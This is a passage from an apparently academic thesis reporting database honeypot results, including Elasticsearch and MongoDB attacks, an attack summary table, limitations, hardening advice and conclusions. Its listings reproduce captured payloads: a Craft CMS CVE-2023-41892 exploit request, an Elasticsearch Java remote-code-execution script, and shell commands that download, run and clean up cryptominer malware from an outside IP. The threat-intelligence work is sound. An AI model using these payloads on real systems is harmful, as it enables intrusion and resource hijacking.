Listing 5.5: Crafted SOAP request for reconnaissance of exposed VMware services. Retrieves the VMware Vsphere version
information from lines 8-10.

Figure 5.28 depicts the unique IPs logged over time. The graph reveals fluctuations in the number of
active adversaries at any given time, with occasional dips to zero, indicating periods of inactivity. Ad-
ditionally, the cumulative new unique IPs line exhibits a relatively “linear” shape, suggesting a steady
increase in new adversaries. This linearity appears to be more pronounced than what was observed
in the results from the RedisHoneyPot in figure 5.23.

Figure 5.28: Elasticpot: Temporal distribution of unique IPs, new unique IPs and cumulative new unique IPs observed (right
y-axis) observed from March 19th, 2024, to April 11th, 2024

Analyzing the Greynoise classifications in table 5.23, we observe that while the majority of activity
seems to originate from “malicious” sources while the largest share of actors comes from ”benign”
classification. Again there remains a sizable portion of IP addresses and traffic classified under the “no
data” and “unknown” classifications. Regarding the behavior of “benign” actors, we primarily witness
scanning behavior similar to our preliminary findings with no POST requests observed.

In terms of adversarial behavior, we no longer observed specific queries or data theft attempts un-
like in the preliminary results. In terms of user-agents we also did not observe anything new that was
noteworthy. However, we did identify new exploits. We’ve already explored a reconnaissance activ-
ity earlier in this subsection. Now, we’ll delve into the second new exploit observed in our logs. We
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Classification # IPs # Actions
No data 38 989
Unknown 148 3,544
Benign 669 2,408
Malicious 382 5551

Table 5.23: Elasticpot: Greynoise classification of IPs.

recorded two instances of a POST request with the payload listed in 5.6 to the URL /index.php from
a web hosting service, Pfcloud UG. These IPs performed only one or two reconnaissance actions at a
different date on our honeypots, suggesting possible manual interaction. This payload is one of the ini-
tial steps of an attack that aims to exploit a vulnerability in Craft CMS [27], a web content management
system, identified as CVE-2023-41892 [69]. This exploit has been featured in both a Hack The Box
challenge [1] and another security blog demonstrating its usage [95]. The primary purpose of this ex-
ploit is to leverage a vulnerability within Craft CMS, allowing the attacker to use PHP for RCE. The most
likely explanation for this partial attack is that the attacker realized it was not a genuine Elasticsearch
instance and was not connected to a website running Craft CMS.

1 action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&
config={”name”:”test[userCondition]”,”as xyz”:{”class”:”\\GuzzleHttp\\Psr7\\FnStream”,
”__construct()”: [{”close”:null}],”_fn_close”:”phpinfo”}}

Listing 5.6: Code of attempted Craft CMS CVE-2023-41892 exploitation.

The third and final observation is a RCE attempt that exploits Elasticsearch’s scripting capabilities by
embedding malicious code in the URL. Code listing 5.7 provides a breakdown of one of these malicious
scripts, which uses the script_fields to execute harmful Java code (lines 13-25) in Elasticsearch. We
identified two distinct attacks from two IPs originating from Tencent in China. In code listing 5.8, lines 1-6
represent the objective of the first attack, while lines 8-17 correspond to another attack by the second IP.
Both code injection methods used Java, though they were written differently. It’s important to note that
Elasticsearch supports scripting capabilities, and Elasticsearch has previously recommended security
practices to prevent malicious scripting [47], with updated methods available in their documentation
[36]. These attempts indicate that adversaries are exploiting exposed Elasticsearch instances that are
likely also not properly configured against malicious scripting.

1 /_search?source={
2 ”size”: 1,
3 ”query”: {
4 ”filtered”: {
5 ”query”: {
6 ”match_all”: {}
7 }
8 }
9 },
10 ”script_fields”: {
11 ”exp”: {
12 ”script”: ”
13 import java.util.*;
14 import java.io.*;
15 String str = \”\”;
16 BufferedReader br = new BufferedReader(
17 new InputStreamReader(
18 Runtime.getRuntime().exec(\”curl -o /tmp/sss6 http://61.160.194.160:35168/sss6\”)

.getInputStream()
19 )
20 );
21 StringBuilder sb = new StringBuilder();
22 while((str = br.readLine()) != null) {
23 sb.append(str);
24 }
25 sb.toString();
26 ”
27 }
28 }
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29 }

Listing 5.7: Malicious script in the URL field of Elasticsearch part 1. Executes malicious Java script in lines 13-25 through the
Elasticsearch’s scripting module.

1 rm *
2 curl -o /tmp/sss6 http://61.160.194.160:35168/sss6
3 wget -c http://61.160.194.160:35130/sss6
4 chmod 777 /tmp/./sss6
5 exec /tmp/./sss6
6 rm /tmp/*
7

8 rm *
9 wget http://61.160.194.160:35168/sv6
10 chmod 777 sv6
11 exec ./sv6
12 rm -r sv6
13 rm *
14 wget http://61.160.194.160:35168/sv68
15 chmod 777 sv68
16 exec ./sv68
17 rm -r sv68

Listing 5.8: Malicious script in the URL field of Elasticsearch part 2. Features the two different attacks, the first being lines 1-6
and the second in lines 8-17. Both scripts attempt to download malware from the same IP.

We were unable to successfully curl any of the files as the connection was refused at the time, but
we were able to find scans on VirusTotal. The report for ”sss6” [86] provides its SHA-256 hash, link-
ing it to a known malware family. While detailed reports were non existent, VirusTotal [87] indicates it
is associated with the RudeDevil malware family. The behavior page lists rules matching Xrmrig, an
open-source cryptominer, and notes CPU statistic checks, suggesting it is mining-related malware.

The second exploit, “sv6,” was also previously scanned on VirusTotal [90] whose SHA-256 hash links
to another piece of malware [91]. This malware behaves similarly to “sss6,” and is also part of the
RudeDevil family. We believe it is the same malware with some code changes, as its size is the same
and its behavior being similar.

Finally, there is “sv68.” This had never been scanned on VirusTotal before we used Virustotal to scan
it [92], and no file hash was retrieved. Given the relationship between “sss6” and “sv6,” we searched
for ”sss68,” hypothesizing it to be another version of “sv68.” Indeed, a VirusTotal scan with a file hash
for “sss68” was found [88]. The analysis page reveals it contains a cryptominer with resource hijacking
tags under the MITRE ATT&CK Tactics and Techniques [89], and confirms it is part of the RudeDevil
malware family.

Due to time constraints and the scope of this thesis, we will not perform manual malware analysis.
Given the lack of extensive written analysis, we assume that all three pieces of malware are different
versions of the same cryptominer malware. Future research may delve deeper into this aspect.

From our Elasticpot honeypot deployment, we reaffirmed existing observations and discovered new
adversarial behaviors. During the temporal analysis, we observed multiple IPs performing irregular
reconnaissance activities by mass scanning URLs and testing for exposed VMware services. Analysis
of figure 5.28 showed that new adversaries were detected at a steadily increasing “linear” rate. In the
case studies, we examined two attacks. The first was an attempted Craft CMS exploit with the goal
of RCE. The second involved exploiting the scripting capabilities of Elasticsearch, attempting to take
advantage of misconfigured scripting rules on exposed Elasticsearch hosts. The key takeaway from
the logs of this honeypot is that adversaries not only directly attack DBMS but also target potentially
interlinked services to compromise the machine.

5.2.5. Mongodb-honeypot
Finally, we discuss the high-interaction MongoDB honeypot. Due to a shortage of collected data in the
preliminary experiment, the primary goal of the main experiment was to deploy more instances and
extend the data collection period. No additional modifications were made compared to the preliminary
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experiment. The honeypot itself was somewhat unstable and often disrupted by adversarial actions,
causing it to stop working intermittently. To mitigate this, we created a Python monitoring script that
accessed the honeypots every hour and notified us when they were down. However, we couldn’t al-
ways address the downtime promptly, especially during nighttime hours, leading to longer periods of
downtime at times. Table 5.24 shows the honeypot locations, the total hours of uptime, and the uptime
percentage. The uptime calculation method we used can result in inaccuracy of the actual uptime,
rather it’s an approximation. If the monitoring system did not send a notification at the beginning of the
hour, the honeypot is considered up for that hour. Conversely, if a notification was sent, the honeypot
is considered down for that entire hour. The uptime varied, with some honeypots experiencing more
frequent downtimes than others. For example, the honeypots in Singapore and the United States had
less downtime. We made sure to remove the logged activity of the monitoring device for the analysis.

Honeypot location Total hours uptime Uptime Percentage
NL 475 82.61%
IN 506 88.00%
SG 532 92.52%
UK 499 86.78%
US 542 94.26%
DE 490 85.22%
CA 458 79.65%
AU 478 83.13%

Table 5.24: Monogdb-honeypot uptime statistics

We observed a total of 125, 087 actions from 1, 233 distinct IPs. Figure 5.29 illustrates the tempo-
ral distribution of activity across all eight honeypots. We combined the data into a single graph for
better visibility. The dips to (near) zero traffic are generally due to downtime rather than a lack of ad-
versarial engagement. Nonetheless, we observed continuous activity on the honeypot throughout the
experiment. This activity fluctuates heavily on an hourly basis, largely caused by automated scripts
that crawl the entire database and perform data theft as discussed in the preliminary analysis.

Figure 5.29: Mongodb-honeypot: Temporal distribution of actions observed from March 19th, 2024, to April 11th, 2024
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Figure 5.30 illustrates the unique IPs over time. Generally, the amount of active adversaries is higher
than that of RedisHoneyPot and Elasticpot but lower than that of Sticky Elephant. We also observe
that the number of new adversaries increases in a rather “linear” manner over time, similar to the trend
seen with Elasticpot. And again, there is a significant gap between the number of active adversaries
during an hour and the number of new adversaries indicating considerable adversarial retention.

Figure 5.30: Mongodb-honeypot: Temporal distribution of unique IPs, new unique IPs and cumulative new unique IPs observed
(right y-axis) observed from March 19th, 2024, to April 11th, 2024

Table 5.25 displays the classification of adversaries by Greynoise. The traffic appears to be more
evenly distributed between IPs classified with undetermined intent and those with a defined intent. The
majority of IPs were classified as either “benign” or “malicious”. More interestingly, this instance has
the highest proportion of IPs classified as “malicious,” a case not observed in previous analyses. This
might suggest that adversaries interacting with high-interaction honeypots or MongoDB specifically are
different.

When examining the activity of the “benign” actors, we observe that many disconnect almost imme-
diately after connection. However, quite a few query for build information, version, and server status.
Some even go as far as querying the honeypot for the list of databases and the collections within those
databases. As previously discussed, Greynoise acknowledges that “benign” actors can perform ma-
licious actions, and this behavior further supports that assertion. We still see mostly automated data

Classification # IPs # Actions
No data 45 3,499
Unknown 180 108,945
Benign 481 5,070
Malicious 527 7,573

Table 5.25: Mongodb-honeypot: Greynoise classification of IPs

thefts, what is interesting is that we see two versions now. One is the same as in the preliminary anal-
ysis but now asks for increasingly amounts of BTC over time. The other version is similar but is distinct
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due to the content and the name of the readme file inserted. The ransoms vary in amounts between the
two. Also only a few crypto wallet addresses were used. The attacks are still automated as it deletes
the entire db even if it only contains a ransom note.

Unfortunately, we did not observe many other noteworthy exploits such as malware or RCE. This is
puzzling, as automatic bots or infected machines typically attempt malicious activities regardless of the
content within the databases as seen in the medium-interaction honeypots. We hypothesize that this
could be due to several factors: the deployment size or data collection period might not have been
sufficient, or the configuration of the honeypot, or perhaps that MongoDB may primarily attract adver-
saries focused on data theft and ransom. Nevertheless, the data collected can be valuable for tracking
adversaries’ cryptowallets.

From these results we can conclude that the Mongodb-honeypot has demonstrated its effectiveness in
revealing adversarial attack patterns, including frequency, engagement, and attractiveness to new ad-
versaries. For the first time, we observed that the majority of the IPs were classified as “malicious”. We
also reaffirmed that “benign” actors continue to perform malicious actions, such as querying data inside
the database. We identified two distinct groups performing data theft, an attack previously seen in the
preliminary analysis. While it is disappointing that we did not find more varied exploits such as mal-
ware or RCE, we are satisfied with the data collected. This experience has highlighted the challenges
of managing high-interaction honeypots and achieving desired results.

5.3. Summary
Our experiments and analysis demonstrated the effectiveness of database honeypots in gathering
threat intelligence. We found that our honeypots typically attracted scanning activities within hours of
deployment, with some instances detected mere minutes after setup. These scans originated from a
variety of sources including security services like Censys [21], Shodan [78], and Palo Alto Networks
[65], as well as from malicious actors conducting reconnaissance scans to identify potential targets.

Daily attacks were observed across all honeypots, characterized by intermittent hourly bursts of ac-
tivity, as illustrated in figure 5.16. Notably, some medium and high interaction honeypots experienced
periods of inactivity, such as the medium-interaction Postgres honeypot Sticky Elephant depicted in
figure 5.24. Additionally, our data revealed varying preferences among different DBMS. For instance,
Microsoft SQL (MSSQL) received over 99% of the scanning activity in our low interaction honeypots
(see table 5.17), contrasting with more evenly distributed scanning behavior logged by the telescope
in table 5.3. This discrepancy suggests that while scanning activities may appear uniform, actual at-
tackers show distinct preferences for specific DBMS platforms.

Analyzing the presence of adversaries over time, we observed prolonged engagement over time across
all honeypots, as evidenced by figure 5.18. The gap between active adversaries and new adversaries
widened over time, indicating sustained interest and ongoing attempts to exploit the honeypots.

Our honeypot customizations for the main experiment, detailed in section 4.3.2, provided valuable
insights. We found no conclusive evidence that running a single honeypot per Qeeqbox Honeypots
instance differed significantly in terms of adversarial activity, traffic, or attraction compared to hosting
all five honeypots within the same instance. While with RedisHoneyPot, adversaries systematically
attempted to extract fake user login credentials one by one. And with Sticky Elephant, we observed
adversaries attempting brute-force attacks on the configuration which denied user access. These ob-
servations lead us to conclude that tailoring honeypots for specific objectives can influence how adver-
saries interact with them, with adversaries adapting their tactics based on the honeypot’s configuration.

Based on our analysis of the geographical distribution and Autonomous SystemNumbers (ASNs) of our
attackers, we found that adversaries frequently leverage cloud service providers and hosting services
to mask their origins globally, as depicted in figure 5.19. However, we also identified IPs originating
from what we suspect to be compromised devices within legitimate organizations, potentially compro-
mised by malware such as worms or botnets.
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The utilization of cloud service providers also enabled adversaries to evade identification by estab-
lished threat intelligence platforms like Greynoise [45]. Such platforms cannot blanket label all IPs
from cloud services as malicious, thereby providing cover for malicious activities until detection. Fur-
thermore, during our main experiment, which took place three months after our preliminary experiment,
we observed some previously logged IPs engaged in activities such as brute-force attacks. This indi-
cates that cloud service providers may not proactively address misuse of their services.

We have compiled table 5.26 summarizing the attacks observed across each honeypot on the next
page. From this table one can observe that certain attacks, such as brute force attempts, were de-
tected across multiple honeypots like Qeeqbox Honeypots, RedisHoneyPot, and Sticky Elephant. But,
no login attempts were recorded for Elasticpot and Mongodb-honeypot. However some attacks appear
to be specifically aimed to their respective DBMS. For instance, reconnaissance activities varied sig-
nificantly, with each honeypot showing unique keywords and scanning patterns.

Regarding malware, P2P infect is known to target Redis specifically [40]. While the Kinsing malware,
known for its attacks on Redis and other services [77], was found in Sticky Elephant, a Postgres hon-
eypot. This highlights that malware may not exclusively target a single DBMS but can adapt across
different platforms with adjustments to the injection method.

A similar pattern is observed with CVE exploitations. CVE-2022-0543 [68] specifically targets an older
version of Redis. On the other hand, CVE-2021-22005 [67] and CVE-2023-41892 [69] exploit vulnera-
bilities in services that can be run alongside any DBMS, making them not DBMS specific but capable
of targeting any system utilizing these vulnerable services. These observations indicate that while ad-
versaries target specific DBMS vulnerabilities, other exploits can apply broadly across different DBMS
by targeting associated services. It highlights the adaptability of adversaries in exploiting various vul-
nerabilities beyond just the DBMS itself.
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Honeypot Attack Details
Qeeqbox Honeypots Brute-force • Login attempts with various usernames and

passwords
• Attacks in bursts

RedisHoneyPot

Brute-force • Login attempts with various usernames and
passwords

• Attacks in bursts
Reconnaissance • Various commands exploring the database con-

tent and configuration
P2P infect worm [40] • Injects and executes script that downloads the

worm
CVE-2022-0543 [68] • Lua sandbox escape for RCE

• Runs id command in linux
ABCbot botnet [4] [32] • Injects and executes script that downloads the

worm

Sticky Elephant

Brute-force • Login attempts with various usernames and
passwords

• Attacks in bursts
Reconnaissance • Various commands exploring the database con-

tent and configuration
Account manipulation • Using ALTER and REVOKE to change user permis-

sions
Database manipulation • Commands such as BEGIN, COMMIT, and

ROLLBACK

• Malicious queries
Kinsing malware [79] • Injects and executes script that downloads the

malware
• Cryptojacking

Elasticpot

Reconnaissance • Various commands exploring the database con-
tent and configuration

• Specific queries related to Chinese banking ser-
vices, and mail.ru

• Looping through URLs from a predetermined
list

• Some presumed manual, others automated
CVE-2021-22005 [67] • Crafted SOAP request to gather information

• Targeting exposed VMware vSphere [94] ser-
vices

• RCE attempt
CVE-2023-41892 [69] • Crafted POST request to gather information

• Targeting Craft CMS [27]
• RCE attempt

RCE • Injection of malicious Java script
• Abuses Elasticsearch’s scripting tools for exe-
cution

• Recently observed malware
• Presumably cryptojacking

Data theft • Crypto ransom in BTC

Mongodb-honeypot

Reconnaisance • Various commands exploring the database con-
tent and configuration

Data theft • Deletion of data after backup
• Crypto ransom in BTC
• Automated script
• Two different groups

Table 5.26: Summary of attacks detected on the honeypots
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Discussion

6.1. Limitations
This thesis was aimed at exploring the combination of honeypot threat gathering capabilities with un-
covering adversarial actions on databases. Given this exploratory nature, we encountered several
limitations.

The first limitation is the time and scope of the honeypot deployment. Ideally, we would have deployed
more honeypot instances for longer periods across more global locations to create a more thorough
dataset. The limited timeframe and scope might have caused us to miss some attacks and patterns.

The second limitation is the reliance on pre-existing open source honeypot projects rather than devel-
oping our own. While this allowed us to quickly initiate the experiment and use a variety of honeypots
simulating different DBMS, it also meant a lack of customization. Due to time constraints, we couldn’t
thoroughly understand and modify the codebases of these projects, which might have made the hon-
eypots more attractive to adversaries.

Another limitation is the analysis of the logs. Some logs may have been malformed or incomplete
due to mismatches in protocols or versions between the honeypots and the clients connecting to them.
Our log processing scripts attempted to convert these logs into a standardized form for storage in the
SQLite databases, which might have resulted in some log lines being removed or overlooked during
insertion into the database. Although storing the logs in a database greatly enhanced manual inspec-
tion due to the ability to query the data, we might have missed certain exploits. In particular, the way
the MongoDB honeypot logs were formatted made them difficult to read.

We linked some “reconnaissance” attacks to specific CVE exploits, as the exact same code used for
reconnaisance was highlighted in attacks discussed on security blogs. However, the logs show that
these attacks were never completed after their initial reconnaissance stage, likely because the adver-
sary received an unexpected response since the honeypot did not fully emulate the targeted service.
Thus, we can only speculate and associate these attacks with the CVEs but cannot confirm that the
attacks actually took place. A more sophisticated honeypot with enhanced service emulation might
allow one to observe these attacks to play out in full.

Finally, to attract as many adversaries as possible and capture exploits, we exposed the honeypots to
the internet by removing firewall rules. The honeypots also had no IAM systems or had these disabled,
allowing unrestricted access. This setup does not accurately reflect a real-world database environment,
except in cases where a database is misconfigured on multiple levels.

6.2. Database security recommendations
Based on our observations from running honeypots in a hypothetical research environment, we reiter-
ate some fundamental principles for enhancing database security. While these recommendations may
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not be new, they can help safeguard against the cyber threats we observed in the data:

Avoid exposing your database directly to the public internet whenever possible. By limiting exposure,
you can reduce the attack surface. For instance, creating a client or web application to act as an inter-
mediary between the DBMS and the user can sanitize inputs and prevent actions such as code injection.

Configure robust IAM policies to control who can access your database and what actions they can
perform. Strong IAM policies are crucial for limiting access to your database. In our experiments, the
honeypots either lacked IAM functionality or had them disabled, which allowed adversaries to manipu-
late the DBMS at will, leading to data theft and attempts of user privilege alteration. Properly configured
IAM policies can prevent unauthorized actions and ensure only authenticated users have the neces-
sary permissions.

Regularly update your database software and associated components to patch known vulnerabilities.
Our honeypots revealed the exploitation of specific CVEs, such as CVE-2022-0543 targeting Redis and
CVE-2021-22005 as well as CVE-2023-41892 targeting services running alongside the DBMS. Regu-
larly updating and patching your software can mitigate these risks by addressing known vulnerabilities
before adversaries can exploit them.

Implement robust monitoring and logging mechanisms to track and analyze database activity. Continu-
ous monitoring and detailed logging are essential for detecting and responding to suspicious activities.
Our honeypots showed continuous adversarial engagement and various attack patterns. Effective
monitoring can help identify these patterns early and enable timely intervention to prevent potential
breaches.



7
Conclusion

7.1. Summary of answers to sub-questions
In Section 4.1, we defined three sub-questions to guide our investigation and address the main re-
search question. Here, we summarize our findings for each of these sub-questions:

Attack Frequency: All our honeypots logged adversarial activity daily, though the intensity fluctuated
on an hourly basis. For example, the low-interaction honeypots in figure 5.16 showed clear patterns
of activity spikes followed by periods of low traffic. We could not identify a specific pattern regarding
the timing of these peaks and valleys. Other honeypots also exhibited irregular behavior, with some
hours showing no adversarial actions at all, such as the medium-interaction Redis honeypots in figure
5.21. Thus, while attacks occur daily, the exact timing and volume fluctuations of these attacks remain
irregular and unpredictable.

Adversarial Patterns: We observed several adversarial patterns from the logged activity. The first
is that adversaries prefer targeting specific honeypots over others. For example, we observed a clear
preference for Microsoft SQL from the results of the low-interaction honeypots in table 5.17. This con-
trasts with the scanning behavior observed from the telescope in table 5.3 and figure 5.4.

The second observation is that adversaries use a wide variety of cloud service providers or hosting
services to attack our honeypots. We’ve observed various large service providers such as OVHcloud,
Akamai Connected Cloud, Google Cloud Platform, Ucloud Information Technology, and Digital Ocean.
Smaller and more localized ones, such as XHOST INTERNET SOLUTIONS LP, IP Volume Inc., and
Informacinės sistemos ir technologijos were also used. These cloud service providers have servers
worldwide, making it hard to track where the attackers originate from. This is why the geographic maps
show traffic originating from all over the world, as seen in figure 5.19. Additionally, beyond these cloud
service providers, we also observed activity from what appear to be infected machines located globally.

This usage of cloud service providers also ties in with the third observation that adversaries are hard
to track by known threat intelligence services such as Greynoise. On multiple occasions, we observed
that most of the activity was generated by IPs that Greynoise had not logged before or could not deter-
mine the intent of, such as in tables 5.20 and 5.21. However, even when this was not the case, there
was still a considerable amount of traffic generated by these classifications, as shown in tables 5.22,
5.23, and 5.25.

The fourth observation is that the number of adversaries active during any given hour fluctuates heavily,
as seen in the results of the low-interaction honeypots in figure 5.18. Furthermore, depending on the
honeypot, some will attract more adversaries initially with long adversarial retention, as seen in Figure
5.18 for low-interaction honeypots, while others show a more linear increase in new adversaries, as
seen in Figure 5.28 for the medium-interaction Elasticsearch honeypot.
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The fifth and final observation highlights the adaptability of adversaries. They demonstrate the abil-
ity to recognize differences in differently configured honeypots, such as scripts to extract data within
the customized medium-interaction Redis honeypot. They also resort to brute-force attacks to gain
access, as observed with the customized medium-interaction Postgres honeypot. Furthermore, adver-
saries utilize a wide array of tools, including browsers, clients, VPNs, open-source GitHub projects,
and scripts written in various programming languages as observed from the user-agents and attacks.

Nature of Attacks: In terms of actual attacks, we observed several distinct types:

Brute-force attacks: These were prevalent on the low-interaction honeypots, as well as the medium-
interaction Redis and Postgres honeypots. The brute-force attempts occurred in periodic bursts, using
lists of common, low-complexity usernames and passwords, along with leaked lists of user credentials.

Reconnaissance activities: This type of activity was observed across all medium-interaction and high-
interaction honeypots. Some reconnaissance attempts were highly specific, as seen in the medium-
interaction Postgres honeypot, while others involved querying for statistics or extracting the entirety of
the database.

Remote code execution: We observed these attacks on the medium-interaction Redis and Elastic-
search honeypots. The Redis honeypot was targeted with known exploits of older Redis versions,
whereas the Elasticsearch honeypot was attacked through vulnerabilities in Craft CMS and VMware,
which can be connected services with Elasticsearch. All these exploits leveraged known CVEs that
have since been patched in newer software versions.

Malware: These were identified in the medium-interaction Redis, Postgres, and Elasticsearch hon-
eypots. The attacks typically utilized the scripting capabilities of the DBMS to execute malicious code.
The malware observed included worms, botnets, and cryptominers.

Data Theft Attempts: In these attacks, adversaries backed up our fake data by querying it, then pro-
ceeded to delete it, and subsequently demanding a ransom. This was particularly common on the
medium-interaction Elasticsearch and high-interaction Mongodb honeypots. The high-interaction Mon-
godb honeypot, which hosted fake customer data, was frequently targeted by such attacks. Adversaries
often demanded Bitcoin as the payment currency, and many of these accounts contained payments
from other victims.

7.2. Conclusion
Publicly facing databases are attacked daily, with varying intensity levels depending on the specific
DBMS, as attackers show preferences for certain systems over others. This preference also impacts
the number of adversaries targeting your database. Attackers often use cloud service providers to
conceal their identities and may also launch attacks from infected machines within other organizations,
making them difficult to track, even for well-known threat intelligence services like Greynoise. Addi-
tionally, these adversaries demonstrate a high level of adaptability, employing various tools to achieve
their goals. The attacks themselves can range from brute forcing, reconnaissance, and remote code
execution to malware deployment and data theft. These insights highlight the effectiveness of database
honeypots in gathering valuable threat intelligence on potential attacks databases might encounter.

7.3. Future work
Our research has demonstrated the effectiveness of database honeypots in gathering valuable threat
intelligence. Given the evolving nature of cyber threats directed at databases, there remains ample
room for further exploration and enhancement. Here, we suggest several areas for future work to
deepen our comprehension and mitigation of these threats.

To build on our findings, future research should aim to expand the scope and duration of honeypot
deployments. By deploying more honeypots over longer periods and across a wider range of geo-
graphic locations, researchers can capture a broader spectrum of adversarial activities. This extended
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deployment will help identify new patterns and trends.

To attract a wider range of adversaries, future work could focus on developing and customizing hon-
eypots to simulate more realistic database environments. For example, incorporating interconnected
services such as dummy webpages with login forms can create more complex attack scenarios. This
also includes implementing security measures and configurations that an actual database might have,
such as firewall rules and properly configured IAM systems. By simulating a more complex and real
environment, the collected data will be more representative of actual attack vectors and methodologies
used by adversaries.

Finally enhancing frameworks for alerting cloud service providers and organizations about potential
abuse can significantly improve security for all parties involved. By proactively identifying adversaries
with the help of honeypots and addressing malicious activity, such frameworks serve as a preemptive
measure to mitigate threats before they reach their intended targets.
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